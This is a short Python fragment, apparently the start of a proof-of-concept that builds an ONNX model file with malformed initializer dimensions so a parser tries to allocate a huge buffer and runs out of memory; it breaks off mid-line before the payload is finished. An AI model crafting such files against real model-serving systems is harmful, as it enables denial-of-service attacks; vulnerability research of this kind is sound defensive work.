import onnx from onnx import helper, TensorProto import struct def create_oom_onnx(output_path): print("[*] Creating ONNX model with huge initializer dimensions...") # We create an initializer with valid data but MALFORMED dimensions # so that the parser tries to allocate a huge buffer. # Valid small data raw_data = struct.pack("